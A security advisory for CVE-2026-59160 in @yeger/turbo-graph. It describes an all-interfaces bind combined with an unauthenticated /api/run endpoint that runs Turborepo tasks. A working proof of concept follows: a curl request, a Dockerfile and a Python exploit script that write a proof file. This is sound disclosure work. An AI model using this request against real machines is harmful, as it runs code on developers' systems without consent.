CVE-2026-59160

Unauthenticated Network-Exposed Turborepo Task Execution via /api/run

@yeger/turbo-graph starts its embedded Next.js server without binding to the loopback interface, causing it to listen on all network interfaces (0.0.0.0:29312 by default). The /api/run HTTP endpoint exposed by this server performs no authentication, authorization, CSRF protection, or task allowlist check before executing attacker-supplied Turborepo task names via spawn(). Any adjacent-network attacker can send an unauthenticated GET request to trigger arbitrary tasks defined in the victim's repository, resulting in code execution, file modification, destructive build side effects, or deployment of attacker-chosen targets with the privileges of the developer's OS user.

Details

Two independent flaws combine to create a remotely exploitable unauthenticated code execution vulnerability:

Flaw 1, Server bound to all interfaces (not loopback)

packages/turbo-graph/src/index.ts:44 calls .listen(options.port, callback) without passing a hostname argument. Although const hostname = 'localhost' is declared at line 19, it is used only for constructing the console log URL and is never passed to listen(). Node.js therefore defaults to binding on 0.0.0.0 (all IPv4 interfaces) and :: (all IPv6 interfaces), making the server reachable from the local network segment.

// packages/turbo-graph/src/index.ts
19    const hostname = 'localhost'  // used only for console URL, not for listen()
...
44        .listen(options.port, () => {   // hostname argument missing → 0.0.0.0 bind
45          const url = `http://${hostname}:${options.port}`

Flaw 2, Unauthenticated /api/run task execution endpoint

packages/turbo-graph-ui/app/api/run/route.ts:156–177 defines GET(), which reads tasks, filter, and force from the request query string and passes them directly to buildResponseFromArgs, which appends them to a Turbo CLI argument array and calls spawn(). There is no authentication check, no session validation, no CSRF token, and no task allowlist anywhere in this handler.

// packages/turbo-graph-ui/app/api/run/route.ts
156  export function GET(req: NextRequest) {
157    const url = new URL(req.url)
159    const tasksParam = url.searchParams.getAll('tasks')   // attacker-controlled source
171    const filter = url.searchParams.get('filter') ?? undefined
176    return buildResponseFromArgs(tasks, filter, req.signal, { force })

// buildResponseFromArgs, packages/turbo-graph-ui/app/api/run/route.ts
20    const args: string[] = ['run', ...tasks]              // tasks inserted directly
25          args.push(`--filter=${trimmed}`)
31      args.push('--force')
34    const child = spawn(turboBin, args, { cwd: dir, env: { ...process.env, CI: 'true' } })
                                                            // ^ sink: arbitrary task execution

Because spawn() is invoked with an argument array (not a shell string), traditional shell metacharacter injection does not apply. However, this does not mitigate the vulnerability: any task name defined in turbo.json of the victim's repository can be selected and run without restriction.

PoC

Environment setup (victim machine):

mkdir /tmp/tg-poc && cd /tmp/tg-poc

cat > package.json <<'JSON'
{
  "private": true,
  "scripts": {
    "pwn": "node -e \"require('fs').writeFileSync('/tmp/turbo-graph-poc', 'owned\\n')\""
  },
  "devDependencies": {
    "@yeger/turbo-graph": "2.8.8",
    "turbo": "^2.0.0"
  }
}
JSON

cat > turbo.json <<'JSON'
{
  "tasks": {
    "pwn": { "cache": false }
  }
}
JSON

npm install
npx turbo-graph --port 29312

Verify the server is bound to all interfaces (Flaw 1):

ss -tlnp 'sport = :29312'
# Expected: LISTEN 0 511 *:29312  (0.0.0.0, not 127.0.0.1)

Attack request (from any host on the same network segment):

# Replace <victim-ip> with the victim machine's LAN IP address.
curl -N "http://<victim-ip>:29312/api/run?tasks=pwn&force=true"

Expected outcome:

• The server returns HTTP 200 with a text/event-stream response.
• An SSE start event is received with args: ["run", "pwn", "--ui=stream", "--force"], confirming that the unauthenticated request was accepted.
• The file /tmp/turbo-graph-poc is created on the victim machine with content owned, proving arbitrary task execution.

Containerized reproduction (automated):

The enclosed Dockerfile and poc.py provide a self-contained reproduction. Build and run:

docker build -t vuln-001-poc <vuln-001-dir>
docker run --rm vuln-001-poc

The container confirmed all three evidence points during Phase 2 dynamic testing:

1. ss -tlnp sport=:29312 → LISTEN 0 511 *:29312 (all-interface binding confirmed)
2. GET /api/run?tasks=pwn&force=true → HTTP 200, SSE start event with args: ["run","pwn","--ui=stream","--force"] (no token required)
3. /tmp/poc-proof.txt created with content PWNED:<timestamp> (arbitrary task execution confirmed)

Reproduction artifacts

Dockerfile

# VULN-001 PoC: Unauthenticated Turborepo Task Execution (@yeger/[email protected])
#
# Layout:
#   /victim/          - simulated developer workspace that runs turbo-graph
#   /victim/pwn.js    - the task payload executed when the attacker fires /api/run
#   /poc.py           - attacker script: sends unauthenticated GET /api/run?tasks=pwn
#
# Build:
#   docker build -t vuln-001-poc <vuln-001-dir>
#
# Run:
#   docker run --rm vuln-001-poc

FROM node:20-slim

# System tools:
#   python3    - runs poc.py
#   iproute2   - ss(8) for socket-binding introspection (evidence collection)
RUN apt-get update && \
    apt-get install -y --no-install-recommends python3 iproute2 && \
    rm -rf /var/lib/apt/lists/*

# ---------------------------------------------------------------------------
# Victim workspace: a minimal Turborepo project that a developer might run
# ---------------------------------------------------------------------------
WORKDIR /victim

# package.json: defines the 'pwn' task script and package dependencies.
# @yeger/[email protected] is the vulnerable package (from DerYeger/yeger).
# turbo satisfies the peerDependency and provides node_modules/.bin/turbo.
RUN echo '{"private":true,"name":"victim-project","packageManager":"[email protected]","scripts":{"pwn":"node /victim/pwn.js"},"devDependencies":{"@yeger/turbo-graph":"2.8.8","turbo":"^2.0.0","react":"^18.0.0","react-dom":"^18.0.0"}}' \
    > /victim/package.json

# turbo.json: declares the 'pwn' task with caching disabled so it always runs.
RUN echo '{"tasks":{"pwn":{"cache":false}}}' \
    > /victim/turbo.json

# pwn.js: task payload, writes a timestamped proof file and logs to stdout.
# When an attacker sends GET /api/run?tasks=pwn, turbo-graph runs this script.
RUN echo 'const fs = require("fs"); const ts = Date.now().toString(); fs.writeFileSync("/tmp/poc-proof.txt", "PWNED:" + ts); console.log("TASK_EXECUTED:" + ts);' \
    > /victim/pwn.js

# Install packages from the declarations in package.json.
# --legacy-peer-deps avoids strict peer-dep resolution failures.
# The published @yeger/[email protected] tarball ships a pre-built
# .next/ directory, so no separate 'next build' step is required.
RUN npm install --legacy-peer-deps --no-fund --no-audit 2>&1 | tail -5

# ---------------------------------------------------------------------------
# Attacker PoC script
# ---------------------------------------------------------------------------
COPY poc.py /poc.py

# Default: execute the PoC (start server, fire unauthenticated request, verify)
CMD ["python3", "/poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated Network-Exposed Turborepo Task Execution
Package:  @yeger/[email protected]
CWE:      CWE-306 (Missing Authentication for Critical Function)
CVSS:     8.8 High (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Two independent flaws combine into the vulnerability:
  1. packages/turbo-graph/src/index.ts:44 calls .listen(port) without a
     hostname argument, so Node.js defaults to 0.0.0.0 (all interfaces).
  2. packages/turbo-graph-ui/app/api/run/route.ts:156-177 GET() handler
     has zero authentication; attacker-supplied ?tasks= values are passed
     directly to spawn(turboBin, ['run', ...tasks], { cwd: victimDir }).

Attack scenario reproduced here:
  - Victim runs `turbo-graph` from a project with a side-effecting task.
  - Attacker sends a plain unauthenticated GET /api/run?tasks=pwn.
  - The server executes `turbo run pwn` in the victim's project directory.
  - The 'pwn' task writes /tmp/poc-proof.txt, proving arbitrary execution.
"""

import os
import socket
import subprocess
import sys
import time
import urllib.error
import urllib.request

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
PROOF_FILE = "/tmp/poc-proof.txt"
PORT = 29312
VICTIM_DIR = "/victim"
TURBO_GRAPH_BIN = os.path.join(VICTIM_DIR, "node_modules", ".bin", "turbo-graph")
SERVER_STARTUP_TIMEOUT = 120   # seconds; Next.js production startup can be slow
REQUEST_TIMEOUT = 90            # seconds to wait for the SSE stream to finish


# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

def wait_for_port(host: str, port: int, timeout: int) -> bool:
    """Poll until the TCP port accepts connections or timeout expires."""
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            with socket.create_connection((host, port), timeout=2):
                return True
        except (ConnectionRefusedError, OSError):
            time.sleep(1)
    return False


def get_socket_binding(port: int) -> str:
    """Return the raw 'ss' output for the listening socket on *port*."""
    try:
        result = subprocess.run(
            ["ss", "-tlnp", f"sport = :{port}"],
            capture_output=True,
            text=True,
            timeout=5,
        )
        return result.stdout.strip()
    except Exception as exc:
        return f"(ss unavailable: {exc})"


def binding_is_all_interfaces(ss_output: str) -> bool:
    """Return True when the socket is listening on all interfaces."""
    return any(
        marker in ss_output
        for marker in ("0.0.0.0", "*:", "[::]", ":::")
    )


def read_sse_stream(url: str, timeout: int) -> list:
    """
    Open *url* as a Server-Sent Events stream and return parsed events.
    Each event is a dict with keys 'type' and optionally 'data'.
    Stops when an 'end' event is received or *timeout* seconds elapse.
    """
    events = []
    try:
        req = urllib.request.Request(
            url,
            headers={
                "Accept": "text/event-stream",
                "Cache-Control": "no-cache",
                "Connection": "keep-alive",
            },
        )
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            print(f"  [HTTP] {resp.status} {resp.reason}")
            print(f"  [HTTP] Content-Type: {resp.getheader('Content-Type', '')}")
            buf = ""
            deadline = time.time() + timeout
            while time.time() < deadline:
                chunk = resp.read(4096)
                if not chunk:
                    break
                buf += chunk.decode("utf-8", errors="replace")
                # Parse complete SSE blocks (separated by blank lines)
                while "\n\n" in buf:
                    block, buf = buf.split("\n\n", 1)
                    ev: dict = {}
                    for line in block.strip().split("\n"):
                        if line.startswith("event: "):
                            ev["type"] = line[7:]
                        elif line.startswith("data: "):
                            ev["data"] = line[6:]
                        # ignore SSE comments (':') and 'retry:' lines
                    if ev.get("type"):
                        events.append(ev)
                        preview = ev.get("data", "")[:120]
                        print(f"  [SSE]  event={ev['type']}  data={preview}")
                        if ev["type"] == "end":
                            return events
    except urllib.error.HTTPError as exc:
        print(f"  [!] HTTP error: {exc.code} {exc.reason}")
    except Exception as exc:
        print(f"  [!] Stream error: {type(exc).__name__}: {exc}")
    return events


# ---------------------------------------------------------------------------
# Main PoC
# ---------------------------------------------------------------------------

def main() -> int:
    sep = "=" * 64
    print(sep)
    print("VULN-001 PoC ,  Unauthenticated Turborepo Task Execution")
    print("Package : @yeger/[email protected]")
    print("CWE-306 : Missing Authentication for Critical Function")
    print(sep)
    print()

    # Remove stale proof file from a previous run
    if os.path.exists(PROOF_FILE):
        os.remove(PROOF_FILE)

    # ------------------------------------------------------------------
    # Step 1: Start turbo-graph server from the victim project directory
    # The CLI does NOT pass a hostname to .listen(), so Node.js binds to
    # 0.0.0.0 (all interfaces), see index.ts:44.
    # ------------------------------------------------------------------
    print(f"[1] Starting turbo-graph from {VICTIM_DIR} on port {PORT} ...")
    server = subprocess.Popen(
        [TURBO_GRAPH_BIN, "--port", str(PORT)],
        cwd=VICTIM_DIR,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        text=True,
    )

    # ------------------------------------------------------------------
    # Step 2: Wait for the port to become available
    # ------------------------------------------------------------------
    print(f"[2] Waiting up to {SERVER_STARTUP_TIMEOUT}s for Next.js server startup ...")
    ready = wait_for_port("127.0.0.1", PORT, timeout=SERVER_STARTUP_TIMEOUT)
    if not ready:
        server.kill()
        stdout, _ = server.communicate()
        print(f"[!] Server did not become ready within {SERVER_STARTUP_TIMEOUT}s.")
        print(f"    stdout/stderr:\n{stdout[:2000]}")
        return 1
    print(f"[+] Server is accepting connections on port {PORT}.")

    # ------------------------------------------------------------------
    # Step 3: Verify that the socket is bound to 0.0.0.0 (all interfaces)
    # Flaw 1: .listen(port) without hostname → network-exposed.
    # ------------------------------------------------------------------
    ss_output = get_socket_binding(PORT)
    print(f"\n[3] Socket binding (ss -tlnp sport=:{PORT}):")
    print(f"    {ss_output}")
    if binding_is_all_interfaces(ss_output):
        print(f"[+] FLAW-1 CONFIRMED: Server bound to all interfaces (0.0.0.0 / ::), not loopback only.")
    else:
        print(f"[?] Could not confirm all-interface binding; proceeding with request test.")

    # ------------------------------------------------------------------
    # Step 4: Send an unauthenticated GET /api/run?tasks=pwn request
    # Flaw 2: no authentication, authorisation, CSRF check, or task
    #         allowlist, see route.ts:156-177.
    # ------------------------------------------------------------------
    url = f"http://127.0.0.1:{PORT}/api/run?tasks=pwn&force=true"
    print(f"\n[4] Sending unauthenticated HTTP request (no token, no credentials):")
    print(f"    GET {url}")
    sse_events = read_sse_stream(url, timeout=REQUEST_TIMEOUT)

    # Allow a moment for any buffered I/O in the child process to flush
    time.sleep(3)

    # ------------------------------------------------------------------
    # Step 5: Evaluate exploitation results
    # ------------------------------------------------------------------
    exploited = os.path.exists(PROOF_FILE)
    proof_content = open(PROOF_FILE).read().strip() if exploited else ""

    start_event = next((e for e in sse_events if e.get("type") == "start"), None)
    end_event   = next((e for e in sse_events if e.get("type") == "end"),   None)
    log_events  = [e for e in sse_events if e.get("type") in ("log", "stderr")]

    print()
    print(sep)
    print("EVIDENCE SUMMARY")
    print(sep)

    # Evidence A: socket binding
    if binding_is_all_interfaces(ss_output):
        print(f"[A] FLAW-1 , Socket bound to all interfaces: {ss_output.split(chr(10))[0][:80]}")
    else:
        print(f"[A] FLAW-1 , ss output: {ss_output[:80]}")

    # Evidence B: unauthenticated SSE response
    if start_event:
        print(f"[B] FLAW-2 , Unauthenticated /api/run accepted; SSE start args:")
        print(f"              {start_event.get('data', '')}")
    else:
        received = [e.get("type") for e in sse_events]
        print(f"[B] FLAW-2 , SSE events received: {received}")

    # Evidence C: turbo task exit code
    if end_event:
        print(f"[C] TURBO  , turbo run exit code: {end_event.get('data', '')}")

    # Evidence D: proof file (arbitrary code execution)
    if exploited:
        print(f"[D] EXPLOIT, Proof file created: {PROOF_FILE}")
        print(f"              Content: {proof_content}")
    else:
        print(f"[D] EXPLOIT, Proof file NOT created: {PROOF_FILE}")
        if log_events:
            print(f"    Task stdout/stderr (first 5 lines):")
            for ev in log_events[:5]:
                print(f"      [{ev['type']}] {ev.get('data', '')}")

    print(sep)

    # Clean up
    server.kill()
    server.wait(timeout=10)

    if exploited:
        print("\n[RESULT] PASS, Exploitation reproduced. Proof file written by unauthenticated request.")
        return 0
    else:
        print("\n[RESULT] FAIL, Proof file not created. See evidence above for diagnostics.")
        return 1


if __name__ == "__main__":
    sys.exit(main())